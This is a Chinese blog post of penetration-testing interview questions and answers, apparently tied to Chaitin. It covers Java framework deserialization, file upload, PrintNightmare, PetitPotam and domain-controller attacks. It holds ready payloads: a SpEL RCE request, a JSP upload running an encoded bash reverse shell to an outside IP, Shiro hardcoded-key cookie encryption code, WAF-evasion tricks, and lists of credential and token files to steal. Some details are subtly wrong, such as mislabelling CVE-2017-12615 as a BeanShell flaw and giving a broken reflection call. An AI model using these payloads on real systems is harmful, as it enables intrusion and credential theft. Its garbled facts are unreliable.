2025年渗透测试面试题总结-某 长亭(题目+回答)

发布于:2025-03-27 ⋅ 阅读:(29) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

长亭

一、Spring SpEL表达式注入漏洞

1. 技术原理

2. 利用条件

3. 攻击方法

4. 防御策略

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景

2. 本地利用链构造

3. 利用步骤

4. 防御方案

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)

2. 攻击流程

3. 防御措施

四、Shiro反序列化漏洞

1. 加密机制

2. 攻击流程

3. WAF绕过技术

五、UEditor漏洞利用及WAF绕过

1. 受影响版本

2. 攻击示例

3. WAF绕过技巧

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)

2. 利用工具

3. 防御方案

七、PetitPotam攻击原理

1. 攻击流程

2. 工具使用

3. 缓解措施

八、域用户与工作组用户差异

九、域控攻击方法论

1. 信息收集阶段

2. 权限提升路径

3. 持久化技术

十、Spring4Shell & Log4j漏洞对比

十一、外网常用打点漏洞清单

十二、任意文件读取深度利用

1. 敏感文件枚举

2. 组合利用案例

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点

2. 命令混淆技巧

3. WAF绕过方案

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术

2. 内存马注入

长亭

sping spel漏洞原理&利用方法 什么情况才能利用
java jdbc反序列化高版本不出网的条件下如何利用
tomcat becl如何利用
shiro 反序列化用的哪种加密方法 如何利用
ueditor 哪种语言环境存在漏洞 怎么利用 如何绕waf
内网windows print spooler 利用&原理
内网 PotiPetam利用&原理
域内用户和工作组用户的差别
如何攻击域控
spring4shell&log4j利用
外网常用打点漏洞有哪些
一个任意文件读取/任意文件下载,如何进一步利用
用友nc beanshell执行命令如何绕waf
shiro反序列化漏洞 如何cookie中的payload 过长被waf 拦截 如何绕waf

一、Spring SpEL表达式注入漏洞

1. 技术原理
  • 表达式解析机制:Spring框架在处理@Value注解、SpelExpressionParser时未正确过滤用户输入
  • 沙箱逃逸:通过T(Type)运算符访问Java类加载器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
  • 触发场景:HTTP参数绑定、错误消息处理、动态模板渲染
2. 利用条件
  • Spring版本 < 5.0.6(CVE-2018-1270)
  • 存在用户输入直接拼接至SpEL表达式
  • 应用未启用表达式安全模式(如StandardEvaluationContext被误用)
3. 攻击方法
httpPOST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")} 
4. 防御策略
  • 升级Spring至5.0.6+版本
  • 全局替换StandardEvaluationContextSimpleEvaluationContext
  • 输入过滤:正则表达式拦截T\(.*?\)等危险语法

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景
  • MySQL Connector/J 8.0+反序列化限制autoDeserialize参数默认关闭
  • 不出网限制:无法建立JNDI连接或RMI反向Shell
2. 本地利用链构造
  • TemplatesImpl链
    java// 生成恶意字节码 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入静态代码块执行命令... byte[] byteCode = clazz.toBytecode(); // 构造TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步骤
  1. 利用CC链(如CC6)触发TemplatesImpl#newTransformer()
  2. 通过JDBC连接属性触发反序列化: jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
  • 升级JDBC驱动至最新版
  • 配置数据库连接池禁用autoDeserialize参数

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)
  • BeanShell脚本引擎:Tomcat默认允许.bsh文件解析
  • 文件上传绕过:利用PUT方法上传.jsp文件时,添加/后缀绕过过滤(如shell.jsp%20
2. 攻击流程
httpPUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
  • 禁用HTTP PUT方法
  • 配置web.xml 限制脚本文件扩展名

四、Shiro反序列化漏洞

1. 加密机制
  • AES-CBC模式:默认使用硬编码密钥kPH+bIxk5D2deZiIxcaaaA==
  • RememberMe Cookie结构:Base64(AES(序列化数据))
2. 攻击流程
  1. 生成恶意对象:
    bashjava -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin 
  2. 加密payload:
    pythonfrom Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload)) 
  3. 发送Cookie:Cookie: rememberMe=Base64(encrypted)
3. WAF绕过技术
  • 分块传输:将Cookie拆分为多个rememberMe=part1; rememberMe=part2
  • 注释符注入:利用/**/分割payload,如reme/*xxx*/mberMe=...
  • 短Payload构造:使用URLClassLoader加载远程jar(需DNS出网)

五、UEditor漏洞利用及WAF绕过

1. 受影响版本
  • JSP版本:1.4.3之前存在任意文件上传(CVE-2017-1000498)
  • 漏洞路径/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻击示例
httpPOST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF绕过技巧
  • MIME伪装:修改Content-Type为image/png
  • 路径遍历:文件名设置为../../../test.jsp
  • Unicode编码test.%6a%73%70

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)
  • RPC协议缺陷RpcAddPrinterDriverEx未验证调用者权限
  • 驱动程序加载:远程加载恶意DLL实现SYSTEM权限执行
2. 利用工具
powershellInvoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
  • 禁用Print Spooler服务
  • 安装2021年7月微软补丁

七、PetitPotam攻击原理

1. 攻击流程
  1. 强制域控通过MS-EFSRPC协议向攻击者发起NTLM认证
  2. 中继认证至LDAP服务,修改域对象ACL
  3. 授予攻击者DCSync权限,导出krbtgt哈希
2. 工具使用
bashpython3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1 
3. 缓解措施
  • 启用SMB签名
  • 禁用NTLM认证

八、域用户与工作组用户差异

特征 域用户 工作组用户
认证中心 域控制器(AD) 本地SAM数据库
策略管理 组策略统一应用 本地策略独立配置
资源共享 域内全局访问 需手动配置共享权限
典型攻击面 Kerberoasting、DCSync 本地提权、密码复用

九、域控攻击方法论

1. 信息收集阶段
  • BloodHound分析:识别高价值路径(如域管登录过的机器)
  • SPN扫描setspn -T domain -Q */*
2. 权限提升路径
  • MS14-068:伪造PAC获取域管权限(需未打补丁)
  • ZeroLogon:重置域控机器账户密码(CVE-2020-1472)
3. 持久化技术
  • Golden Ticket:使用krbtgt哈希生成任意用户TGT
  • SID History注入:添加域管SID至普通用户

十、Spring4Shell & Log4j漏洞对比

特征 Spring4Shell (CVE-2022-22965) Log4j (CVE-2021-44228)
触发条件 Tomcat+War部署、JDK9+ 日志记录包含${jndi:ldap://}
利用链 数据绑定→日志文件写入WebShell JNDI→LDAP加载远程类
回显方式 需访问写入的JSP文件 直接通过DNS/HTTP请求外带数据
影响版本 Spring 5.3.0-5.3.17, 5.2.0-5.2.19 Log4j 2.0-beta9 - 2.14.1

十一、外网常用打点漏洞清单

  1. Web漏洞
    • SQL注入(如时间盲注绕过WAF)
    • 文件上传(类型校验绕过)
    • SSRF(云元数据API利用)
  2. 框架漏洞
    • Shiro反序列化
    • Fastjson JNDI注入
  3. 协议漏洞
    • FTP匿名访问
    • Redis未授权访问

十二、任意文件读取深度利用

1. 敏感文件枚举
  • Linux/etc/passwd/proc/self/environ~/.ssh/id_rsa
  • WindowsC:\Windows\win.iniC:\Windows\Panther\Unattended.xml
2. 组合利用案例
  • 读取Spring配置文件:获取数据库密码→横向移动
  • 获取Kubernetes Token/var/run/secrets/kubernetes.io/serviceaccount/token

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点
  • 接口路径/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd); 
3. WAF绕过方案
  • Unicode转义\u0077\u0068\u006f\u0061\u006d\u0069
  • 反射调用Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术
  • GZIP压缩:将序列化数据压缩后加密
  • 分片存储:将Payload拆分存储至多个Cookie
2. 内存马注入
  1. 发送短Payload加载ClassLoader
  2. 通过HTTP头传输字节码:X-Payload: CAFEBABE...
  3. 反射定义恶意类实现内存驻留